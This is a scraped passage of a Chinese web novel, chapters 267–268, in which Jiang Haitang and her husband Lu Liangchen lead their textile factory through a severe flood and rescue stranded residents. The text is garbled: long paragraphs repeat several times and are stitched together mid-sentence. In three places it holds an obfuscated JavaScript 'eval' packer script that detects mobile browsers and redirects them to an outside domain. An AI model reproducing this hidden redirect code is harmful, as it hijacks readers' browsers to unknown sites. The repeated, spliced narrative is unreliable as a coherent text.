“以后让小桃子听少儿节目,省得老缠着你。再说,小孩子多听听节目,会变聪明。” 姜海棠听明白了陆良辰的意思,小孩子听广播其实并不是变聪明,而是因为听得多了,见识就多了。 如此这个收音机也不算白买,正好让小桃子听听长见识。 窗外,晾衣绳上的衣服床单随风轻晃,蔷薇花在墙角悄然绽放。 屋内,姜海棠飞针走线,陆良辰在笔记本上勾画生产计划,小桃子趴在他膝头听着广播睡着了,手里还攥着陆良辰用废铁丝拗的小飞机。 这时候,广播里传来天气预报:“……预计未来三天我省将出现持续性强降雨,局部地区降水量可能突破历史极值……” 味,凭着姜老爷子的身份也能弄到。 而现在,他们祖孙没有相认,更重要的原因其实是为了避免陆家被盯上。 毕竟,陆家人丁兴旺,又各个都是人中龙凤,自然会被人提防。 而姜家,在其他人看来,根本无需防备,就算有个孙女儿,也不必畏惧。 雨水顺着伞骨滴落,却在姜海棠心里酿出蜜来。 周末难得休息,夫妻俩带着小桃子去供销社,陆良辰难得和妻女逛街,自然是看到什么都要买,到了最后,姜海棠都不敢让他继续逛下去了。 但陆良辰坚持买了一台收音机。 “买这个干啥?”姜海棠疑惑道。 厂里有广播,还有报纸,了解国家政策很容易,收音机似乎没有太大的必要。 “以后让小桃子听少儿节目,省得老缠着你。再说,小孩子多听听节目,会变聪明。” 姜海棠听明白了陆良辰的意思,小孩子听广播其实并不是变聪明,而是因为听得多了,见识就多了。 如此这个收音机也不算白买,正好让小桃子听听长见识。 窗外,晾衣绳上的衣服床单随风轻晃,蔷薇花在墙角悄然绽放。 屋内,姜海棠飞针走线,陆良辰在笔记本上勾画生产计划,小桃子趴在他膝头听着广播睡着了,手里还攥着陆良辰用废铁丝拗的小飞机。 这时候,广播里传来天气预报:“……预计未来三天我省将出现持续性强降雨,局部地区降水量可能突破历史极值……” 味,凭着姜老爷子的身份也能弄到。 而现在,他们祖孙没有相认,更重要的原因其实是为了避免陆家被盯上。 毕竟,陆家人丁兴旺,又各个都是人中龙凤,自然会被人提防。 而姜家,在其他人看来,根本无需防备,就算有个孙女儿,也不必畏惧。 雨水顺着伞骨滴落,却在姜海棠心里酿出蜜来。 周末难得休息,夫妻俩带着小桃子去供销社,陆良辰难得和妻女逛街,自然是看到什么都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077560|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买,到了最后,姜海棠都不敢让他继续逛下去了。 但陆良辰坚持买了一台收音机。 “买这个干啥?”姜海棠疑惑道。 厂里有广播,还有报纸,了解国家政策很容易,收音机似乎没有太大的必要。 “以后让小桃子听少儿节目,省得老缠着你。再说,小孩子多听听节目,会变聪明。” 姜海棠听明白了陆良辰的意思,小孩子听广播其实并不是变聪明,而是因为听得多了,见识就多了。 如此这个收音机也不算白买,正好让小桃子听听长见识。 窗外,晾衣绳上的衣服床单随风轻晃,蔷薇花在墙角悄然绽放。 屋内,姜海棠飞针走线,陆良辰在笔记本上勾画生产计划,小桃子趴在他膝头听着广播睡着了,手里还攥着陆良辰用废铁丝拗的小飞机。 这时候,广播里传来天气预报:“……预计未来三天我省将出现持续性强降雨,局部地区降水量可能突破历史极值……” 味,凭着姜老爷子的身份也能弄到。 而现在,他们祖孙没有相认,更重要的原因其实是为了避免陆家被盯上。 毕竟,陆家人丁兴旺,又各个都是人中龙凤,自然会被人提防。 而姜家,在其他人看来,根本无需防备,就算有个孙女儿,也不必畏惧。 雨水顺着伞骨滴落,却在姜海棠心里酿出蜜来。 周末难得休息,夫妻俩带着小桃子去供销社,陆良辰难得和妻女逛街,自然是看到什么都要买,到了最后,姜海棠都不敢让他继续逛下去了。 但陆良辰坚持买了一台收音机。 “买这个干啥?”姜海棠疑惑道。 厂里有广播,还有报纸,了解国家政策很容易,收音机似乎没有太大的必要。 “以后让小桃子听少儿节目,省得老缠着你。再说,小孩子多听听节目,会变聪明。” 姜海棠听明白了陆良辰的意思,小孩子听广播其实并不是变聪明,而是因为听得多了,见识就多了。 如此这个收音机也不算白买,正好让小桃子听听长见识。 窗外,晾衣绳上的衣服床单随风轻晃,蔷薇花在墙角悄然绽放。 屋内,姜海棠飞针走线,陆良辰在笔记本上勾画生产计划,小桃子趴在他膝头听着广播睡着了,手里还攥着陆良辰用废铁丝拗的小飞机。 这时候,广播里传来天气预报:“……预计未来三天我省将出现持续性强降雨,局部地区降水量可能突破历史极值……” 味,凭着姜老爷子的身份也能弄到。 而现在,他们祖孙没有相认,更重要的原因其实是为了避免陆家被盯上。 毕竟,陆家人丁兴旺,又各个都是人中龙凤,自然会被人提防。 而姜家,在其他人看来,根本无需防备,就算有个孙女儿,也不必畏惧。 雨水顺着伞骨滴落,却在姜海棠心里酿出蜜来。 周末难得休息,夫妻俩带着小桃子去供销社,陆良辰难得和妻女逛街,自然是看到什么都要买,到了最后,姜海棠都不敢让他继续逛下去了。 但陆良辰坚持买了一台收音机。 “买这个干啥?”姜海棠疑惑道。 厂里有广播,还有报纸,了解国家政策很容易,收音机似乎没有太大的必要。 “以后让小桃子听少儿节目,省得老缠着你。再说,小孩子多听听节目,会变聪明。” 姜海棠听明白了陆良辰的意思,小孩子听广播其实并不是变聪明,而是因为听得多了,见识就多了。 如此这个收音机也不算白买,正好让小桃子听听长见识。 窗外,晾衣绳上的衣服床单随风轻晃,蔷薇花在墙角悄然绽放。 屋内,姜海棠飞针走线,陆良辰在笔记本上勾画生产计划,小桃子趴在他膝头听着广播睡着了,手里还攥着陆良辰用废铁丝拗的小飞机。 这时候,广播里传来天气预报:“……预计未来三天我省将出现持续性强降雨,局部地区降水量可能突破历史极值……” 味,凭着姜老爷子的身份也能弄到。 而现在,他们祖孙没有相认,更重要的原因其实是为了避免陆家被盯上。 毕竟,陆家人丁兴旺,又各个都是人中龙凤,自然会被人提防。 而姜家,在其他人看来,根本无需防备,就算有个孙女儿,也不必畏惧。 雨水顺着伞骨滴落,却在姜海棠心里酿出蜜来。 周末难得休息,夫妻俩带着小桃子去供销社,陆良辰难得和妻女逛街,自然是看到什么都要买,到了最后,姜海棠都不敢让他继续逛下去了。 但陆良辰坚持买了一台收音机。 “买这个干啥?”姜海棠疑惑道。 厂里有广播,还有报纸,了解国家政策很容易,收音机似乎没有太大的必要。 “以后让小桃子听少儿节目,省得老缠着你。再说,小孩子多听听节目,会变聪明。” 姜海棠听明白了陆良辰的意思,小孩子听广播其实并不是变聪明,而是因为听得多了,见识就多了。 如此这个收音机也不算白买,正好让小桃子听听长见识。 窗外,晾衣绳上的衣服床单随风轻晃,蔷薇花在墙角悄然绽放。 屋内,姜海棠飞针走线,陆良辰在笔记本上勾画生产计划,小桃子趴在他膝头听着广播睡着了,手里还攥着陆良辰用废铁丝拗的小飞机。 这时候,广播里传来天气预报:“……预计未来三天我省将出现持续性强降雨,局部地区降水量可能突破历史极值……” 第267章 降雨 “哎呦! 听到这句话,姜海棠一个不小心手被针给戳了一下,不由惊叫出声。 “怎么了?海棠?陆良辰忙问,他想过来看看姜海棠的情况,可是小桃子在他腿上睡着了。 “没事,不小心被针扎了一下。 上辈子,应该就是这段时间,这场雨持续了三天三夜,金城遭遇百年一遇的洪涝。 她当时在乡下,只听说城里许多厂子都受灾了,更可怕的是下游几个村子被淹,造成了人员伤亡…… 到底是夫妻,陆良辰怎么可能看不出来姜海棠不正常的表现。 “海棠?陆良辰将小桃子抱回到床上安顿好,才走到姜海棠的身边问,“怎么了? 姜海棠回神,反手抓住丈夫的手腕:“良辰,我心里有些慌张,我总觉得这次暴雨不简单。我们要不要立即启动防汛预案,尤其是仓库和配电房。 陆良辰眉头微蹙。 窗外的风带着夏季特有的闷热,丝毫没有暴雨将至的迹象。 但他觉得,妻子不可能无的放矢,莫名其妙地说出这种话。 “我和领导班子商量一下,有备无患,这种事,要提前防范才好。这基本就是答应下来了。 姜海棠点点头,收拾了手里正在做的针线活。 这种情况下,她实在是静不下心干活。 她站在门口送陆良辰。 “别担心,有我在!他低声说,又拉了一下姜海棠的手,才匆匆离开。 这句话像一剂安定,让姜海棠的心情暂时平稳下来。 她看着丈夫高大的背影消失在视野里,有种深深的无力感。 陆良辰已经召集了所有科室负责人在会议室紧急集合。 “根据气象预报,未来三天可能有持续性强降雨,请我建议立即启动防汛预案。陆良辰站在会议桌前,手指敲击着桌面。 会议室里响起低声议论。 后勤科的老王拧眉说:“厂长,这雨还没下呢,不至于。咱就说天气预报有几次是准确的?我觉得,我们还是走一步看一步…… 老王的话得到了与会大部分同志的支持,确实,天气预报,十次有就此是不准确的。 “老王,有备无患,如果大雨真的来了,我们的损失将不可估量。陆良辰打断他,声音不大却让整个会议室瞬间安静。 “可是,外面天气挺好的,我看着不像要下雨的样子。 谭**也在迟疑。 陆良辰想了一下,说道:“我以前在部队上的时候,学过一些天气方面的知识,这个情况,是要下大雨。 谭**推了推老花镜,看向陆良辰:“良辰同志,你确定? 陆良辰挺直腰板,十分干脆利落地回答:“云层低垂,空气闷热,蜻蜓贴着水面飞。今天早上,我去河边的时候,看到有鱼儿在水面换气。他走到窗前拉开帘子,指着天际线,“诸位请看,云层呈现铁砧状,这是强对流天气的前兆。 谭**点点头:“我想起来了!七年前那次洪灾前也是这种天!当时损失很大。我们没有提前防汛,半夜仓库全淹了,造成巨大损失! 想起当年的灾难,谭**还是觉得心里压抑的不行,他是当年灾难的亲历者啊,那一场水灾的惨烈,至今想起来,都还是让他喘不上气地窒息。 这句话像块巨石投入平静的湖面。 财务科长立刻扒拉算账:“咱们仓库里那批棉纱要是泡水,损失至少……还有…… 不愧是财务科长,一通扒拉下来,众人的表情都凝重了起来。 “我赞成启动预案。谭**终于拍板,“宁可十防九空,不可失防万一! 赵凯也立即表示,自己完全支持。 既然三位大佬已经决定了,其他人便也不反对了。 陆良辰立刻展开部署,手指在地图上快速移动:“咱们厂里女工居多,人事这边立即清点所有男同志停工装沙袋,重点保护配电房;剩下的人分成三组,第一组由安保科牵头负责组织人员立即检查全厂排水系统;第二组由生产科牵头负责转移仓库物资到二楼;第三组后勤科牵头负责清点雨具、手电和急救包,食堂准备姜汤和干粮。 命令刚下达,窗外“咔嚓一声惊雷。 紧接着毫无预兆的豆大的雨点噼里啪啦砸在窗户上,瞬间织成雨幕。 而这时候天边竟然还能看到阳光洒下的金黄。 会议室里响起一片倒抽冷气声。 “老王,陆良辰看向后勤科长,“现在信了吗? 老王看着瞬间白茫茫的窗外,擦了把冷汗:“我这就带人加固仓库屋顶! 而此时的姜海棠,带着小桃子在家里,却有些坐立不安起来。 短暂地考虑了一下之后,姜海棠穿上宽大的雨衣,套上雨鞋,然后将小桃子裹在怀里。 “妈妈,我们要去哪里呀?小桃子软绵绵的小脸蛋从雨衣里露出来,眨巴着迷蒙的大眼睛问姜海棠。 姜海棠出门,院子里的积水已没过脚踝。 “妈妈需要去上班,先把小桃子送到孔奶奶家好不好?小桃子要抱紧妈妈哦! 艰难的从院子里走出去,巷道已经积水很多,不过,当初修这一片家属院的时候,地基排水都不错,虽然有积水,但能看出来正在排放。 姜海棠深一脚浅一脚地朝着隔壁走过去,原本一两分钟就能走完的路,姜海棠硬生生地走了五分钟。 到了孔大娘家里的时候,孔大娘吓一跳:“海棠,这大雨天,你不在家待着,怎么出门了? “大娘,我觉得这雨下得很不正常,估计厂里要准备抗洪了,我打算去看看,小桃子又要劳烦您老帮忙照顾着。 孔大娘听姜海棠这么说,立即说道:“这雨下得可怕,要不你就在家待着。 “大娘,红梅姐也去了,我怎么能不去? 孔大娘不说话了,是啊,如果真的有灾难,需要大家齐心协力才能抵御,姜海棠这样性格的姑娘,怎么可能躲起来? 替孔大娘关好大门,姜海棠朝着厂区走去。 这会儿风雨交加,暴雨肆虐,能见度越来越低,姜海棠走得越来越艰难,但她一直都没有放弃。 姜海棠估计,仓库是一定要重点关注的,因此,她直接朝着仓库走去。 果然,走到距离仓库还有一段距离的地方,就听到了人声嘈杂。 仓库西边已经积水,差不多有小腿深,几个工人正在水里那种铁锹用力地铲,应该是在疏通水道。 姜海棠加快了速度,立即朝着那几个人走过去。 看到姜海棠过来,其中一个人高喊:“姜工,您赶紧回去别来这里,危险! 姜海棠摇摇头,踩着积水快步走过去:“多一个人多一份力!现在情况怎么样? 那工人抹了把脸上的雨水,大声回答:“西侧排水口被杂物堵住了,我们正在清理!只要将这几个排水口都清理开,暂时仓库应该是安全的。 姜海棠二话不说,卷起袖子就蹲下身,徒手去掏堵塞在排水口的枯枝烂叶。冰凉的雨水浸透了她的衣袖,指尖被尖锐的杂物划出细小的伤口,她却浑然不觉。 “姜工,这可使不得!旁边的工人急了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086643|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“您的手可是要画设计图的! “现在哪还顾得上这个!姜海棠头也不抬,用力拽出一大团缠绕的枯枝败叶和石头,“要是仓库被淹,设计图画得再好也白搭,拿什么生产? 姜海棠可不觉得,作为技术 人员,这时候就应该享受优待。 而且,她是从农村出来的,处理这些情况,可比在城里长大的人们有经验许多。 其他人看着姜海棠直接用手开始掏,也立即有学有样地开始动手。 虽然这几个排水口被堵得有些严实,但因为众人直接动手,速度倒是快了许多。 雨越下越大,水位以肉眼可见的速度上涨。 姜海棠突然发现排水口深处卡得死死的,她就算用手,都没有办法拽出里面的垃圾。 “有没有钳子或者铁棍之类的?”她喊道。 一个年轻女工立刻递来工具。 姜海棠半个身子都探进水里,这一次,她直接将这团顽固的垃圾朝着外面捅,坚持了是十多下后,终于,排水口通畅了。 霎时间,积水形成一个小漩涡,迅速排了出去。 姜海棠总算松了一口气,而与此同时,其他几个排水口也在女工们齐心协力下,都疏通开了。 女工们欢呼起来。 就在这时,配电房方向突然传来警报声。 姜海棠的心猛地一沉,脸色骤变:“不好!配电房进水了!” 配电房要是出事,整个厂区都会停电,抽水泵就无法工作…… “我去看看!”她拔腿就往配电房跑。 风雨交加中,姜海棠还依稀听到身后传来其他人的喊声:“姜工,注意安全!” 配电房外,水位已经没过大腿。 赵凯正带着人用沙袋垒墙,但收效甚微。 “姜工!”老李像看到救星,“水位上涨太快,备用发电机也快撑不住了!” 姜海棠环顾四周,突然指向不远处的废弃钢板:“用那个!把钢板插在沙袋前面形成挡水墙!” 工人们立刻行动起来。 姜海棠毫不迟疑地直接跳进水里,和大家一起将沉重的钢板插入地基。 此时冰凉的积水已经没过膝盖,咋渗骨的水中站着,让她打了个寒战,但她咬紧牙关坚持着。 当最后一块钢板就位,挡水墙终于成型。 水位在钢板外继续上涨,但配电房暂时安全了。 “加紧时间夯实,务必保证配电室不能进水,还要注意屋顶的情况。”姜海棠大声对着郑凯喊道。 郑凯立即点头,一点都不废话的开始安排: “快!检查设备!优先保障抽水泵供电!小吴、小李,你们两个想办法上屋顶上看看一旦有问题及时维修。” 原以为,这样肆虐的暴雨只会下一会儿时间,却没想到,连续下了两个多小时,暴雨依旧肆虐。 工人们在水里奋战,一个个疲惫不堪,但效果也是很明显的,最起码到现在为止,厂里的任何设备都没有出问题,各个水路都已经畅通,暂时,厂子不会有危险。 姜海棠和工人们奋战了整整六个小时,终于保住了厂区主要设施。当她拖着疲惫的身子回到临时指挥部时,看到陆良辰正站在门口等她。 满身泥泞的陆良辰这时候过来了,看到姜海棠的时候,他喊:“海棠,你这边情况怎么样?” “还行,目前还能坚持,只是,天很快就要黑了,到时候,各项工作的开展都会受到影响。” 这一点,陆良辰也想到了,但这是天灾人祸,实在是没有办法改变。 第268章 救灾 陆良辰抬头看了看愈发阴沉的天色,眉头紧锁。 是啊,天色已经暗下来了,要抓紧时间,进行最后一轮检查。 看着姜海棠疲惫不堪的样子,陆良辰心疼,可是,再怎么心疼,这时候也没有办法特殊照顾,甚至,他都不能留在姜海棠的身边照顾。 最后,只说“海棠,辛苦你了。一定要注意安全,我先去配电房看看。” 姜海棠拉住他的胳膊:“配电房的挡水墙已经加固了,赵凯在那边盯着。现在最危险的是原料仓库,那些墙体时间长,就怕已经有安全隐患。” 姜海棠虽然在拼命地干活,但脑子一直没闲着,总觉得原料仓库那边还是有些危险。 陆良辰点头:“我知道了,我这就去看看。” “你带上两个人一起去,彼此之间也能有个照顾。”姜海棠叮嘱。 陆良辰答应着,已经甩开大步朝着原料仓库的方向走去。 当他深一脚浅一脚地赶到原料仓库跟前,就看见十几个工人正在往仓库门口堆沙袋,水位已经没过了第一层台阶。 “厂长!”车间主任老周看到陆良辰,急忙迎上来,“西墙渗水越来越严重,我们正在用塑料布做临时防水层,但效果不是很好。” 陆良辰没想到,姜海棠竟然预判出了这边的问题。 他抹了把脸上的雨水,快步走到仓库西侧。 只见斑驳的墙面上已经有数道水痕,墙角处甚至有细小的水流正在渗入。 “这样不行。”他蹲下身检查了一下,“得想办法堵住渗漏点。仓库里还有多少原料?” “还有三十多吨棉纱和二十吨羊毛,都是刚到的货。”老周忧心忡忡地说,“要是泡了水,损失可就大了。” “我记得仓库后面是不是有个废弃的防空洞入口?”陆良辰忽然想起这个。 老周一愣:“是有,但早就封**。“ “带我去看看!“ 两人绕到仓库后方,果然看到一个被铁栅栏封住的洞口。 陆良辰蹲下身,用手电筒照了照,发现洞口下方的水泥已经出现了裂缝,正有水流不断渗入。 “老周,水是从这里进来的!”姜海棠立刻站起身,“快去找些黄胶泥和木板来,必须马上封住这个口子!” 这时候,没有什么比黄胶泥更好使,毕竟,水泥根本凝固不了,而黄胶泥的防渗水效果确实很可以。 老周立即带着人行动起来。 就在这时,厂区广播突然响起刺耳的电流声 ,接着传来谭**焦急的声音:“全体职工注意!金河水水位暴涨,下游三个村子已经接到疏散通知!请各防汛小组立即检查各自负责区域!” 陆良辰脸色都变了。 河道距离纺织厂只有不到两公里,如果决堤…… “老周,你带人去把仓库里的原料尽量往高处搬,只是堵现在解决不了问题!” “厂长,就怕二层放不下!” “能保住多少是多少!”陆良辰下达命令。 “是,陆厂长!” 时间一分一秒过去,众人只是机械地在大雨中努力的完成工作,抢救着所有能抢救的原材料和成品、机器等等财产。 即便已经疏通了所有的排水管道,但是,水位还是一点点的上涨。 深水区的水位已经没过膝盖了。 姜海棠的心里沉甸甸的。 如果她上辈子听到的消息没有错的话,这一场大雨的持续时间将会是三天。 现在,才几个小时而已,已经是这样的光景,后续该怎么办? 难道,今天厂里的这些财产,就只能注定要遭受损失? 姜海棠对厂里有着诚挚的爱,她不想看到这样的结果。 而此时的工人们,已经精疲力竭了。 广播里,再度传来谭**的声音:“请各小组分为两组,一组坚守岗位,一组吃饭,自主轮换。” 食堂里架起了大锅,张尚文带着几个女人做饭烧水煮姜汤。 几个男同志,都已经被安排去救灾第一线了。 虽然做饭的压力非常大,但没有一个人叫苦叫累,就连赵秀芳都认认真真干活,甚至都没有偷奸耍滑。 很快,有一部分工人来吃饭,他们吃得很快,三口两口吃完之后,立即冲出食堂,去换其他同志来吃饭。 时间一点点过去,很快,就到了夜里十二点,许是老天爷也累了,这会儿的雨势减缓了一点。 但是因为前期降水过多,各处的防洪压力依然非常大。 姜海棠和几个人正在一个破旧的屋檐下休息,看着黑漆漆的天空暗中祈祷,希望今天晚上的雨势能持续减缓,压力也能稍微轻一点。 这时候,康小夏急匆匆地跑过来。 “海棠姐,刚接到消息,城区中心积水已经齐腰深了,有老人被困在家里!” 她上辈子只是听说过这件事,并不曾亲眼见过,但只是想象,她就似乎已经看到了那些被水淹没的街道、被困在屋顶的百姓…… 这种时候,只怕是 要求各厂安排人去救灾了。 她咬了咬嘴唇:“小夏,厂里怎么安排的?” “陆厂长已经分出去一部分人去城区帮忙救灾了。”康小夏如实说道:“上面给各个工厂都下了任务,要去帮忙抗洪救灾。” 姜海棠点头,多少有些心疼陆良辰。 纺织厂能出的人实在有限,谁让纺织厂和别的厂不一样,是女工为主? “海棠姐,我们咋办?” “小夏,这会儿雨小了,你回去请示一下谭**,各小组分两班,轮换休息,这一次的雨不知道什么时候才会结束,不能大家一起熬着,必须保存有生力量。” 康小夏冒着雨,一步步地回到厂办去,谭**因为年龄大的关系,被陆良辰留在厂办值班,康小夏将姜海棠说的话讲了一遍,谭**立即点头。 “海棠同志说得不错,我们不能全都在这里熬着。就按照姜海棠同志说的给大家通知下去。” 谭**现在已经相信陆良辰说的三天降雨了。 如果真的要连降三天雨,那只能大家轮换休息。 很快厂里的一半人回去休息了,疲惫已极的工人们回到家里却已经在风声雨声雷声中担心着,睡得并不是很踏实。 有很多人只是睡了两三个小时,就回到了岗位上。 而此时的陆良辰带着厂里的精壮小伙子投入了救灾中。 “救命啊!有没有人?”呼救声从一栋平房里传出,听得出来呼救的人已经气力不足了。 陆良辰耳力不错,听到了这个人的求救,他立即蹚水过去,从窗户看到一位白发老人被困在床上,积水已经漫到了床沿。 “大娘别怕!”陆良辰立即砸开窗户,和同伴们一起把老人抬了出来。 刚转移到绑着木板的轮胎上,就听见身后“轰”的一声,那间老房子的屋顶塌了一半。 老人被这一幕吓到了,张大嘴巴好半天没有说出一句话,然后就开始嚎啕大哭。 等她哭完了,才颤颤巍巍地抓住陆良辰的手。 她浑身发抖地说着:“同志,要不是你,老婆子这条命就没了啊……” “大娘,这里不安全,我们必须抓紧撤到安全的地方去。”陆良辰一面转移老人,一面仔细听着周围有没有人呼救。 “同志,这条街道上现在应该没人了,我的腿有问题,家里孩子们又正好不在,才留在这里,其他人应该都去安全区域了。”老大娘的情绪总算稳定下来了。 她知道自己这一次算是逃出生天了! 虽然有老大娘这话打底,但陆良辰还是尽量对周围的住宅区进行搜索,避免再有像老大娘这样的情况。 要求各厂安排人去救灾了。 她咬了咬嘴唇:“小夏,厂里怎么安排的?” “陆厂长已经分出去一部分人去城区帮忙救灾了。”康小夏如实说道:“上面给各个工厂都下了任务,要去帮忙抗洪救灾。” 姜海棠点头,多少有些心疼陆良辰。 纺织厂能出的人实在有限,谁让纺织厂和别的厂不一样,是女工为主? “海棠姐,我们咋办?” “小夏,这会儿雨小了,你回去请示一下谭**,各小组分两班,轮换休息,这一次的雨不知道什么时候才会结束,不能大家一起熬着,必须保存有生力量。” 康小夏冒着雨,一步步地回到厂办去,谭**因为年龄大的关系,被陆良辰留在厂办值班,康小夏将姜海棠说的话讲了一遍,谭**立即点头。 “海棠同志说得不错,我们不能全都在这里熬着。就按照姜海棠同志说的给大家通知下去。” 谭**现在已经相信陆良辰说的三天降雨了。 如果真的要连降三天雨,那只能大家轮换休息。 很快厂里的一半人回去休息了,疲惫已极的工人们回到家里却已经在风声雨声雷声中担心着,睡得并不是很踏实。 有很多人只是睡了两三个小时,就回到了岗位上。 而此时的陆良辰带着厂里的精壮小伙子投入了救灾中。 “救命啊!有没有人?”呼救声从一栋平房里传出,听得出来呼救的人已经气力不足了。 陆良辰耳力不错,听到了这个人的求救,他立即蹚水过去,从窗户看到一位白发老人被困在床上,积水已经漫到了床沿。 “大娘别怕!”陆良辰立即砸开窗户,和同伴们一起把老人抬了出来。 刚转移到绑着木板的轮胎上,就听见身后“轰”的一声,那间老房子的屋顶塌了一半。 老人被这一幕吓到了,张大嘴巴好半天没有说出一句话,然后就开始嚎啕大哭。 等她哭完了,才颤颤巍巍地抓住陆良辰的手。 她浑身发抖地说着:“同志,要不是你,老婆子这条命就没了啊……” “大娘,这里不安全,我们必须抓紧撤到安全的地方去。”陆良辰一面转移老人,一面仔细听着周围有没有人呼救。 “同志,这条街道上现在应该没人了,我的腿有问题,家里孩子们又正好不在,才留在这里,其他人应该都去安全区域了。”老大娘的情绪总算稳定下来了。 她知道自己这一次算是逃出生天了! 虽然有老大娘这话打底,但陆良辰还是尽量对周围的住宅区进行搜索,避免再有像老大娘这样的情况。 要求各厂安排人去救灾了。 她咬了咬嘴唇:“小夏,厂里怎么安排的?” “陆厂长已经分出去一部分人去城区帮忙救灾了。”康小夏如实说道:“上面给各个工厂都下了任务,要去帮忙抗洪救灾。” 姜海棠点头,多少有些心疼陆良辰。 纺织厂能出的人实在有限,谁让纺织厂和别的厂不一样,是女工为主? “海棠姐,我们咋办?” “小夏,这会儿雨小了,你回去请示一下谭**,各小组分两班,轮换休息,这一次的雨不知道什么时候才会结束,不能大家一起熬着,必须保存有生力量。” 康小夏冒着雨,一步步地回到厂办去,谭**因为年龄大的关系,被陆良辰留在厂办值班,康小夏将姜海棠说的话讲了一遍,谭**立即点头。 “海棠同志说得不错,我们不能全都在这里熬着。就按照姜海棠同志说的给大家通知下去。” 谭**现在已经相信陆良辰说的三天降雨了。 如果真的要连降三天雨,那只能大家轮换休息。 很快厂里的一半人回去休息了,疲惫已极的工人们回到家里却已经在风声雨声雷声中担心着,睡得并不是很踏实。 有很多人只是睡了两三个小时,就回到了岗位上。 而此时的陆良辰带着厂里的精壮小伙子投入了救灾中。 “救命啊!有没有人?”呼救声从一栋平房里传出,听得出来呼救的人已经气力不足了。 陆良辰耳力不错,听到了这个人的求救,他立即蹚水过去,从窗户看到一位白发老人被困在床上,积水已经漫到了床沿。 “大娘别怕!”陆良辰立即砸开窗户,和同伴们一起把老人抬了出来。 刚转移到绑着木板的轮胎上,就听见身后“轰”的一声,那间老房子的屋顶塌了一半。 老人被这一幕吓到了,张大嘴巴好半天没有说出一句话,然后就开始嚎啕大哭。 等她哭完了,才颤颤巍巍地抓住陆良辰的手。 她浑身发抖地说着:“同志,要不是你,老婆子这条命就没了啊……” “大娘,这里不安全,我们必须抓紧撤到安全的地方去。”陆良辰一面转移老人,一面仔细听着周围有没有人呼救。 “同志,这条街道上现在应该没人了,我的腿有问题,家里孩子们又正好不在,才留在这里,其他人应该都去安全区域了。”老大娘的情绪总算稳定下来了。 她知道自己这一次算是逃出生天了! 虽然有老大娘这话打底,但陆良辰还是尽量对周围的住宅区进行搜索,避免再有像老大娘这样的情况。 要求各厂安排人去救灾了。 她咬了咬嘴唇:“小夏,厂里怎么安排的?” “陆厂长已经分出去一部分人去城区帮忙救灾了。”康小夏如实说道:“上面给各个工厂都下了任务,要去帮忙抗洪救灾。” 姜海棠点头,多少有些心疼陆良辰。 纺织厂能出的人实在有限,谁让纺织厂和别的厂不一样,是女工为主? “海棠姐,我们咋办?” “小夏,这会儿雨小了,你回去请示一下谭**,各小组分两班,轮换休息,这一次的雨不知道什么时候才会结束,不能大家一起熬着,必须保存有生力量。” 康小夏冒着雨,一步步地回到厂办去,谭**因为年龄大的关系,被陆良辰留在厂办值班,康小夏将姜海棠说的话讲了一遍,谭**立即点头。 “海棠同志说得不错,我们不能全都在这里熬着。就按照姜海棠同志说的给大家通知下去。” 谭**现在已经相信陆良辰说的三天降雨了。 如果真的要连降三天雨,那只能大家轮换休息。 很快厂里的一半人回去休息了,疲惫已极的工人们回到家里却已经在风声雨声雷声中担心着,睡得并不是很踏实。 有很多人只是睡了两三个小时,就回到了岗位上。 而此时的陆良辰带着厂里的精壮小伙子投入了救灾中。 “救命啊!有没有人?”呼救声从一栋平房里传出,听得出来呼救的人已经气力不足了。 陆良辰耳力不错,听到了这个人的求救,他立即蹚水过去,从窗户看到一位白发老人被困在床上,积水已经漫到了床沿。 “大娘别怕!”陆良辰立即砸开窗户,和同伴们一起把老人抬了出来。 刚转移到绑着木板的轮胎上,就听见身后“轰”的一声,那间老房子的屋顶塌了一半。 老人被这一幕吓到了,张大嘴巴好半天没有说出一句话,然后就开始嚎啕大哭。 等她哭完了,才颤颤巍巍地抓住陆良辰的手。 她浑身发抖地说着:“同志,要不是你,老婆子这条命就没了啊……” “大娘,这里不安全,我们必须抓紧撤到安全的地方去。”陆良辰一面转移老人,一面仔细听着周围有没有人呼救。 “同志,这条街道上现在应该没人了,我的腿有问题,家里孩子们又正好不在,才留在这里,其他人应该都去安全区域了。”老大娘的情绪总算稳定下来了。 她知道自己这一次算是逃出生天了! 虽然有老大娘这话打底,但陆良辰还是尽量对周围的住宅区进行搜索,避免再有像老大娘这样的情况。 要求各厂安排人去救灾了。 她咬了咬嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086644|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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“陆厂长已经分出去一部分人去城区帮忙救灾了。”康小夏如实说道:“上面给各个工厂都下了任务,要去帮忙抗洪救灾。” 姜海棠点头,多少有些心疼陆良辰。 